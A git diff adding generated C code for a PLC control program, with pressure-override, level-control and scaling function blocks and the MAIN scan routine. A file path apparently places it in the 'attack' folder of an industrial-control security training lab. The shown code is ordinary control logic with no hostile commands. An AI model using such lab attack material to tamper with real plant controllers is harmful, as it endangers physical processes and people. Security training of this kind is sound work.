__SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) 